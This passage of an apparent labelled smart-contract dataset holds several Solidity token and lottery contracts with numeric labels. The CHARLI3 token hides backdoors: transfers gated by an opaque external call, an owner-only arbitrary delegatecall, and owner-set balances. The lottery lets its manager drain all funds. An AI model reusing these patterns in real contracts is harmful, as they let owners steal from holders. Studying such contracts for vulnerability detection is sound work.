tokenIndexToToken[_tokenId].parentId = _parentId;
ParentChanged(_tokenId, oldParentId, _parentId);
}
function setName(uint256 _tokenId, bytes32 _name) public onlyAdmin {
require(exists(_tokenId));
bytes32 oldName = tokenIndexToToken[_tokenId].name;
tokenIndexToToken[_tokenId].name = _name;
NameChanged(_tokenId, oldName, _name);
}
function setMetadata(uint256 _tokenId, bytes32 _metadata) public onlyAdmin {
require(exists(_tokenId));
bytes32 oldMeta = tokenIndexToToken[_tokenId].metadata;
tokenIndexToToken[_tokenId].metadata = _metadata;
MetaDataChanged(_tokenId, oldMeta, _metadata);
}
function setDevFee(uint256 _devFee) public onlyAdmin {
devFee = _devFee;
}
function setOwnerFee(uint256 _ownerFee) public onlyAdmin {
ownerFee = _ownerFee;
}
function setChainFees(uint256[10] _chainFees) public onlyAdmin {
chainFees = _chainFees;
}
function getToken(uint256 _tokenId) public view returns
(
bytes32 tokenName, uint256 parentId, uint256 price,
address _owner, uint256 nextPrice, uint256 nextPriceFees,
address approved, bytes32 metadata
) {
Token storage token = tokenIndexToToken[_tokenId];
tokenName = token.name;
parentId = token.parentId;
price = token.price;
_owner = token.owner;
nextPrice = _getNextPrice(_tokenId);
nextPriceFees = devFee+getChainFees(_tokenId);
metadata = token.metadata;
approved = token.approved;
}
function getChainFees(uint256 _tokenId) public view returns (uint256 _total) {
uint256 chainLength = _getChainLength(_tokenId);
uint256 totalFee = 0;
for (uint id = 0; id < chainLength; id++) {
totalFee = totalFee + chainFees[id];
}
return(totalFee);
}
function getChainFeeArray() public view returns (uint256[10] memory _chainFees) {
return(chainFees);
}
function getPriceOf(uint256 _tokenId) public view returns (uint256 price) {
require(exists(_tokenId));
return tokenIndexToToken[_tokenId].price;
}
function getParentOf(uint256 _tokenId) public view returns (uint256 parentId) {
require(exists(_tokenId));
return tokenIndexToToken[_tokenId].parentId;
}
function getMetadataOf(uint256 _tokenId) public view returns (bytes32 metadata) {
require(exists(_tokenId));
return (tokenIndexToToken[_tokenId].metadata);
}
function getChain(uint256 _tokenId) public view returns (address[10] memory _owners) {
require(exists(_tokenId));
uint256 _parentId = getParentOf(_tokenId);
address _parentAddr = parentAddr;
address[10] memory result;
if (_parentId != DEFAULTPARENT && _addressNotNull(_parentAddr)) {
uint256 resultIndex = 0;
TokenLayer layer = TokenLayer(_parentAddr);
bool parentExists = layer.exists(_parentId);
while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) {
parentExists = layer.exists(_parentId);
if (!parentExists) {
return(result);
}
result[resultIndex] = layer.ownerOf(_parentId);
resultIndex++;
_parentId = layer.getParentOf(_parentId);
_parentAddr = layer.parentAddr();
layer = TokenLayer(_parentAddr);
}
return(result);
}
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return (tokenIndexToToken[_tokenId].approved == _to);
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == tokenIndexToToken[_tokenId].owner;
}
function _checkThenTransfer(address _from, address _to, uint256 _tokenId) private {
require(_owns(_from, _tokenId));
require(_addressNotNull(_to));
require(exists(_tokenId));
_transfer(_from, _to, _tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
tokenIndexToToken[_tokenId].owner = _to;
tokenIndexToToken[_tokenId].lastBlock = block.number;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
tokenIndexToToken[_tokenId].approved = 0;
}
Transfer(_from, _to, _tokenId);
}
function _approve(address _to, uint256 _tokenId, address _from) private {
require(_owns(_from, _tokenId));
tokenIndexToToken[_tokenId].approved = _to;
Approval(_from, _to, _tokenId);
}
function _takeOwnership(uint256 _tokenId, address _to) private {
address newOwner = _to;
address oldOwner = tokenIndexToToken[_tokenId].owner;
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function _transferFrom(address _from, address _to, uint256 _tokenId) private {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function _getChainLength(uint256 _tokenId) private view returns (uint256 _length) {
uint256 length;
uint256 _parentId = getParentOf(_tokenId);
address _parentAddr = parentAddr;
if (_parentId == DEFAULTPARENT || !_addressNotNull(_parentAddr)) {
return 0;
}
TokenLayer layer = TokenLayer(_parentAddr);
bool parentExists = layer.exists(_parentId);
while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) {
parentExists = layer.exists(_parentId);
if(!parentExists) {
return(length);
}
_parentId = layer.getParentOf(_parentId);
_parentAddr = layer.parentAddr();
layer = TokenLayer(_parentAddr);
length++;
}
return(length);
}
function _getNextPrice(uint256 _tokenId) private view returns (uint256 _nextPrice) {
uint256 _price = tokenIndexToToken[_tokenId].price;
uint256 _totalFees = getChainFees(_tokenId);
_price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees));
return(_price);
}
} | 1 | 3,736 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 20;
uint8 constant TOKEN_DECIMALS_UINT8 = 20;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "EJACOIN";
string constant TOKEN_SYMBOL = "EJAC";
bool constant PAUSED = false;
address constant TARGET_USER = 0x0FCF7C8FE43Bed107105A6892D117F2D6Da11F04;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223Token
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x0fcf7c8fe43bed107105a6892d117f2d6da11f04)];
uint[1] memory amounts = [uint(25000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,146 |
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library ERC165Checker {
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
function _supportsERC165(address account) internal view returns (bool) {
return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
function _supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
return _supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
function _supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
if (!_supportsERC165(account)) {
return false;
}
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
return true;
}
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
(bool success, bool result) = _callERC165SupportsInterface(account, interfaceId);
return (success && result);
}
function _callERC165SupportsInterface(address account, bytes4 interfaceId)
private
view
returns (bool success, bool result)
{
bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId);
assembly {
let encodedParams_data := add(0x20, encodedParams)
let encodedParams_size := mload(encodedParams)
let output := mload(0x40)
mstore(output, 0x0)
success := staticcall(
30000,
account,
encodedParams_data,
encodedParams_size,
output,
0x20
)
result := mload(output)
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract IERC1363 is IERC20, ERC165 {
function transferAndCall(address to, uint256 value) public returns (bool);
function transferAndCall(address to, uint256 value, bytes memory data) public returns (bool);
function transferFromAndCall(address from, address to, uint256 value) public returns (bool);
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public returns (bool);
function approveAndCall(address spender, uint256 value) public returns (bool);
function approveAndCall(address spender, uint256 value, bytes memory data) public returns (bool);
}
contract IERC1363Receiver {
function onTransferReceived(address operator, address from, uint256 value, bytes memory data) public returns (bytes4);
}
contract IERC1363Spender {
function onApprovalReceived(address owner, uint256 value, bytes memory data) public returns (bytes4);
}
contract ERC1363 is ERC20, IERC1363 {
using Address for address;
bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;
bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(_INTERFACE_ID_ERC1363_TRANSFER);
_registerInterface(_INTERFACE_ID_ERC1363_APPROVE);
}
function transferAndCall(address to, uint256 value) public returns (bool) {
return transferAndCall(to, value, "");
}
function transferAndCall(address to, uint256 value, bytes memory data) public returns (bool) {
require(transfer(to, value));
require(_checkAndCallTransfer(msg.sender, to, value, data));
return true;
}
function transferFromAndCall(address from, address to, uint256 value) public returns (bool) {
return transferFromAndCall(from, to, value, "");
}
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public returns (bool) {
require(transferFrom(from, to, value));
require(_checkAndCallTransfer(from, to, value, data));
return true;
}
function approveAndCall(address spender, uint256 value) public returns (bool) {
return approveAndCall(spender, value, "");
}
function approveAndCall(address spender, uint256 value, bytes memory data) public returns (bool) {
approve(spender, value);
require(_checkAndCallApprove(spender, value, data));
return true;
}
function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) {
if (!to.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(to).onTransferReceived(
msg.sender, from, value, data
);
return (retval == _ERC1363_RECEIVED);
}
function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) {
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(
msg.sender, value, data
);
return (retval == _ERC1363_APPROVED);
}
}
contract YVRToken is ERC20Detailed, ERC1363 {
uint256 private INITIAL_SUPPLY = uint256(uint256(300000000) * uint256(1000000000000000000));
constructor(string memory name, string memory symbol, uint8 decimals)
ERC20Detailed(name, symbol, decimals)
ERC1363()
public
{
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 0 | 853 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract CHARLI3Token is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "CHARLI3";
string public symbol = "C3";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,982 |
pragma solidity ^0.4.25;
contract Ticket2Crypto {
struct player_ent{
address player;
address ref;
}
address public manager;
uint public ticket_price;
uint public final_price = 1 finney;
player_ent[] public players;
function Ticket2Crypto() public{
manager = msg.sender;
ticket_price = 72;
final_price = ticket_price * 1 finney;
}
function update_price(uint _ticket_price) public restricted{
ticket_price = _ticket_price;
final_price = ticket_price * 1 finney;
}
function join(address _ref, uint _total_tickets) public payable{
final_price = _total_tickets * (ticket_price-1) * 1 finney;
require(msg.value > final_price);
for (uint i=0; i<_total_tickets; i++) {
players.push(player_ent(msg.sender, _ref));
}
}
function move_all_funds() public restricted {
manager.transfer(address(this).balance);
}
modifier restricted() {
require(msg.sender == manager);
_;
}
} | 1 | 2,774 |
pragma solidity 0.4.25;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
